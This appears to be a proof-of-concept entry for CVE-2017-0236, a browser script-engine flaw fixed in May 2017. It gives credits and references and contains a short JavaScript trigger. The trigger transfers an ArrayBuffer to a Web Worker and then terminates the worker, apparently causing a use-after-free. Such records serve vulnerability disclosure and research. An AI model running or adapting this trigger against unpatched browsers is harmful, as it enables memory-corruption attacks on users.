CVE-2017-0236.md

CVE-2017-0236

• Fix: May 2017
• Credit: Tencent Security Lance Team, Yuki Chen of Qihoo 360 Vulcan Team

PoC

var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
var worker = new Worker('uaf1.js');
worker.postMessage(buffer,[buffer]);
worker.terminate();

Reference

• Microsoft
• Fix